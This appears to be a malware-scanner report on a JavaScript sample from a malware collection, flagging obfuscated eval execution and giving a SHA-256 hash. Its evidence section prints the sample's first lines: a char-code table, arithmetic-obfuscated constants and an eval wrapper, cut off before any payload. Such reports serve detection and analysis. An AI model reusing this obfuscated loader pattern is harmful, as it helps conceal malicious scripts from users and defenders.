Suspicious ^80% javascript-malware-collection Download

20151208_776923330406d1668c78928138b53681.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256adbb6343caa2eb5cbe5715e58648930f71e242b5d2242b482b272e4945558ca8

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var rHnznqaNvemLt=[];for(cIwiROj=(-912+912)/761;cIwiROj<(35258+454)/279;cIwiROj++){rHnznqaNvemLt[cIwiROj]=String.fromCharCode(cIwiROj)}function FlkWS(pZrubVAFqZZ,ymBdjtrjAGLJj,YojUfFyN){devX=parseInt(pZrubVAFqZZ,ymBdjtrjAGLJj);vWWQO=devX.toString(YojUfFyN);return vWWQO;}function MpBoGdryMxlqvYT(cCNRgpALTsjDILejO){eval(cCNRgpALTsjDILejO)}
2function yoQJdQAWlJhmGIDNTAKkhAJZxKkcKNbxMCaqHNSZMuimJLfBLaeTJv(HisWdBoESEvqI,kTXsKGAHFucsPe){ return rHnznqaNvemLt[FlkWS(HisWdBoESEvqI[kTXsKGAHFucsPe],(509+561)/107,(1664+756)/242)];}
3function mKUydUR(BwxxBNoUpPtYRGXjVKSWIxyTMDpCMhfJQSWg) {return !isNaN(parseFloat(BwxxBNoUpPtYRGXjVKSWIxyTMDpCMhfJQSWg)) && isFinite(BwxxBNoUpPtYRGXjVKSWIxyTMDpCMhfJQSWg);}
4function HqKGyzLwilZ(DqxkXKlb,IGMSca){return DqxkXKlb.split(IGMSca)}
5var s=[];s.push("13");s.push("10");s.push("13");s.push("10");s.push("118");s.push("97");s.push("114");s.push("32");s. …